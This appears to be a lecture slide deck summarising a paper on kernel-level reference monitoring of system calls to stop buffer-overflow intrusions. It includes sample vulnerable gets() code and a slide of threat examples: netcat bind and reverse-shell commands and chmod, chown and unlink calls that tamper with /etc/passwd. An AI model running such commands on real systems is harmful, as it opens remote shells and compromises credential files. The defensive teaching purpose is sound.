This document discusses enhancements to the operating system to prevent misuse of system calls. It proposes monitoring system calls at the kernel level to detect illegal invocations and block malicious completion of system calls. A reference monitor is used to check arguments of threat level 1 system calls, like those that could modify critical files or spawn shells. New data structures are implemented to authorize access based on an access control database and reference functions. The approach aims to prevent buffer overflow attacks with minimal performance overhead.

1. Operating System enhancements to
prevent misuse of Systems Calls
Dayal Dilli
ddilli@unb.ca
March 25, 2013

2. Outline
• Operating System Security Vulnerabilities and
concepts
• Buffer overflow exploit
• System Calls and Kernel Data structures
misuse.
• Access control Databases, Audit Files and
Reference Monitors.
• Performance Evaluation with protection
mechanism.

3. Operating System Security
• Protect system from Executing un authorized
code.
– Protect un authorized execution of Kernel Code.
e.g. System Call.
– Protect critical memory areas from corruption

4. Top Operating System Vulnerabilities
• Buffer Overflow attacks
• Denial of Service attacks
• Viruses and Trojans

5. Buffer overflow
• Buffer is a piece of memory
– Stack e.g. local variable like arrays
– Heap e.g. Dynamically allocated memory

6. Stack Overflow
main()
{
char buffer[10]; //Stack
gets(buffer);
puts(buffer);
}

7. Heap Overflow
main()
{
char *buffer;
buffer=(char *)malloc(10); //Heap
gets(buffer); //buffer more than 10 bytes
puts(buffer);
}

8. Exploiting Stack Overflow
• Make the content of
Buffer[] overflow
• Well-craft the content
of Buffer to overwrite
RET with the address of
attackers malicious
code.
• Malicious code includes
spawning a root shell
using exec, binding it a
port using net cat etc..

9. Example
• Normal Run
– Buffer*+ = ‘ABCDEFGH’ – runs properly – 8 bytes
• Exploit
– Buffer*+ = ‘ABCDEFGHIJKL<address to malicious
code>’
– Malicious code contains systems calls like exec
that can run a shell.

10. What happened in the previous slides?
• Critical memory areas got corrupted
• We used exec system call to spawn a shell
• Apart from this, unprotected access to system
calls also leads to resource starvation causing
Denial of Service attacks.

11. Prevention of Attacks
• Monitoring of system calls made by the
processes.
• Blocking malicious invocation of system call
from completion.
• The paper proposes mechanism of
interception of system call at Kernel level.

12. Methodology
• Detect illegal invocation of system calls.
• Reference Monitor the system calls.
• Check the arguments of the system calls.
• Implement a light weight change without
much changes to the existing Kernel data
structures and algorithms.

13. Approach
• Key Terms:
– Reference functions
– Authorization functions
– Access control Database
– Access Control Rules

14. Kernel Enhancements
• Not all System calls are malicious.
• Identify the subset of system calls for
monitoring.
• The paper mainly focuses on the prototype
implemented to prevent Buffer Overflow
based intrusion attacks.

15. Root Access?
• How to get Root Access on the system?
– Exploit any vulnerability(e.g. buffer overflow) on
any of the running root processes.

16. Categories of Root Process
• Interactive
– Process started by super user. Threat level is nil as
user has full control of the process.
• Background
– Daemon programs started at booting, cron jobs.
• e.g. httpd, ftp, mysqld, processes started with ‘&’ in the
end.
• Generally, any process with UID and EUID
equaling 0.

17. System Call Categories and Threat
Level

18. Threat Level Classification
• System calls in group 1 – 3 comes under
Threat Level 1.
• System calls in group 4-9 no so malicious to be
misused

19. System calls with threat level 1 and 2

20. Threat level – 1 System Calls

21. Threat examples
• Chmod(“/etc/passwd”, 0666)
Chown(“/etc/passwd”, intruder, intruder_group)
Rename(“/tmp/passwd”,”/etc/passwd”)
• Unlink(“/etc/passwd”)
Link(“/tmp/passwd”,”/etc/passwd”)
• nc <ip> <port> -e /bin/bash
• nc –l –p <port> -e /bin/bash

22. Implementation
• New Data structures to implement the Access
control Database (ACD).
• New System call to read, write and update the
ACD and the reference functions.

23. Authorization and Reference functions
• Checks for root privilege and subsequent access
to system calls.
Data Structures:
• setuid_acd - contains root passwd
• execve_acd
– Struct exe_file_id
– Struct executable_file
– Struct executable_file_list

24. Data Structures

25. Admitted Data structure

26. sys_setuid_aclm/ aclmng
• System call to read and modify ACD. Acts as
the common front end for all methods on
ACD.
• Processes with UID and EUID =0 can only
access.
• Provides concurrent access between two root
process using lock variable write_pid.

27. Sys_setuid_aclm methods
• PUT(exe_file, suid_prog, list)
• DELETE(exe_file, suid_prog, list)
• GET(exe_file, suid_prog, param)
– Param->file_nr, Param->prog_nr from Param->list

28. check_rootproc
• Reference function that authenticates the
execution of execve by a root process.
– Denial:
• EXENA: process not in ACD or not authenticated
• EFNA: File not authenticated

29. Examples
• Setuid(0) / su
– Checks password
• Chmod / Chown
– Process: background
– File: any regular file/ directory
– Checks process/ file from ACD along with
Password.

30. Performance
• Only Limited Reduction in Performance
• Reasons:
– Only 10% of the system calls include Access check.
– Only limited number of process execute all check.
– No changes with the user mode process.
– All data structures need for check are in kernel
memory.

31. Evaluation
• Pentium II, 330 MHz with 128 MB RAM, Linux
Kernel Version 2.2.12.

32. Related Works and Conclusion
• Linker warning to check dangerous function
calls. e.g. gets, strcpy
• Non-executable stack.
• Stackguard in gcc– commercial tool prevents
return address modification using canary
word.
• Stackshield in gcc- moves return address to un
over flow-able location. e.g. beginning of data
section.